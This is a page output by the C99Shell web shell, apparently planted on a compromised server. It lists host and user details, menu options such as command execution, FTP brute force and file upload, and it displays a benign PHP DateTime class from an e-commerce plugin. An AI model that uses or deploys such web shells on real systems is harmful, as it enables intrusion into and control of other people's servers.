!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux acloudg.aryanict.com 4.18.0-513.9.1.lve.el8.x86_64 #1 SMP Mon Dec 4 15:01:22 UTC
2023 x86_64
 

uid=1095(katebhospital) gid=1098(katebhospital) groups=1098(katebhospital) 

Safe-mode: OFF (not secure)

/var/softaculous/sitepad/editor/site-data/plugins/kkart-pro/includes/   drwxr-xr-x
Free 290.65 GB of 429.69 GB (67.64%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     class-kkart-datetime.php (2.2 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * KKART Wrapper for PHP DateTime which adds support for gmt/utc offset when a
 * timezone is absent
 *
 * @since   3.0.0
 * @package Kkart\Classes
 */

defined'ABSPATH' ) || exit;

/**
 * Datetime class.
 */
class KKART_DateTime extends DateTime {

    
/**
     * UTC Offset, if needed. Only used when a timezone is not set. When
     * timezones are used this will equal 0.
     *
     * @var integer
     */
    
protected $utc_offset 0;

    
/**
     * Output an ISO 8601 date string in local (WordPress) timezone.
     *
     * @since  3.0.0
     * @return string
     */
    
public function __toString() {
        return 
$this->formatDATE_ATOM );
    }

    
/**
     * Set UTC offset - this is a fixed offset instead of a timezone.
     *
     * @param int $offset Offset.
     */
    
public function set_utc_offset$offset ) {
        
$this->utc_offset intval$offset );
    }

    
/**
     * Get UTC offset if set, or default to the DateTime object's offset.
     */
    
public function getOffset() {
        return 
$this->utc_offset $this->utc_offset parent::getOffset();
    }

    
/**
     * Set timezone.
     *
     * @param DateTimeZone $timezone DateTimeZone instance.
     * @return DateTime
     */
    
public function setTimezone$timezone ) {
        
$this->utc_offset 0;
        return 
parent::setTimezone$timezone );
    }

    
/**
     * Missing in PHP 5.2 so just here so it can be supported consistently.
     *
     * @since  3.0.0
     * @return int
     */
    
public function getTimestamp() {
        return 
method_exists'DateTime''getTimestamp' ) ? parent::getTimestamp() : $this->format'U' );
    }

    
/**
     * Get the timestamp with the WordPress timezone offset added or subtracted.
     *
     * @since  3.0.0
     * @return int
     */
    
public function getOffsetTimestamp() {
        return 
$this->getTimestamp() + $this->getOffset();
    }

    
/**
     * Format a date based on the offset timestamp.
     *
     * @since  3.0.0
     * @param  string $format Date format.
     * @return string
     */
    
public function date$format ) {
        return 
gmdate$format$this->getOffsetTimestamp() );
    }

    
/**
     * Return a localised date based on offset timestamp. Wrapper for date_i18n function.
     *
     * @since  3.0.0
     * @param  string $format Date format.
     * @return string
     */
    
public function date_i18n$format 'Y-m-d' ) {
        return 
date_i18n$format$this->getOffsetTimestamp() );
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0945 ]--